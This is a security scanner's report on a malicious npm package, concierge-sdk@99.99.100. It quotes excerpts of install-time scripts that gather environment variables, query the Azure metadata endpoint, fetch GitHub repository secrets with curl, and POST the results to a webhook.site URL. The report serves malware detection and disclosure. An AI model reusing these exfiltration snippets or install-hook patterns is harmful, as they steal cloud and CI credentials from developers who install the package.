concierge-sdk@99.99.100: Malicious npm security report (Block)

Loading npm security reports…

concierge-sdk@99.99.100: Malicious npm security report (Block) | LPM Firewall

Source & flagged code

6 flagged

package.jsonView file

•scripts.postinstall = node exfil_v2.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

exfil_v2.jsView file

5const path = require('path'); L6: const { execSync } = require('child_process'); L7:

High

Child Process

Package source references child process execution.

exfil_v2.jsView on unpkg · L5

2L3: const https = require('https'); L4: const fs = require('fs'); L5: const path = require('path'); L6: const { execSync } = require('child_process'); L7: L8: const exfilData = { L9: env: process.env, L10: timestamp: new Date().toISOString(),

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

exfil_v2.jsView on unpkg · L2

High

Cloud Metadata Access

Source reaches cloud instance metadata or link-local credential endpoints.

exfil_v2.jsView on unpkg · L2

•Trigger-reachable fixed external POST callback chain: scripts.postinstall -> exfil_v2.js const https = require('https'); 'curl -s "http://169.254.169.[redacted]?api-version=2017-09-01&resource=https://vault.azure.net" -H "Metadata:true"', const vaultUrl = process.env.AZURE_VAULT_URL || 'https://thecontinental.vault.azure.net'; `curl -s -H "Authorization: token ${process.env.GITHUB_TOKEN}" https://api.github.com/repos/the-continental-hotel/continental-api/secrets`, `curl -s -H "Authorization: token ${process.env.GITHUB_TOKEN}" https://api.github.com/repos/the-continental-hotel/continental-api/actions/artifacts`, // Send all data to webhook const payload = JSON.stringify(exfilData); const webhookUrl = 'https://webhook.site/4f4566fc-e72f-415b-818f-fdb42dc9891d';

High

Trigger Reachable External Post Callback

A manifest entrypoint or package-local install chain reaches a fixed external POST callback.

exfil_v2.jsView on unpkg

exfil.jsView file

2Source sends the broad process environment to a literal external destination. L2: L3: const https = require('https'); L4: ... L6: const exfilData = { L7: env: process.env, L8: cwd: process.cwd(), L9: platform: process.platform, L10: nodeVersion: process.version, ... L46: L47: req.write(payload); L48: req.end();

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

exfil.jsView on unpkg · L2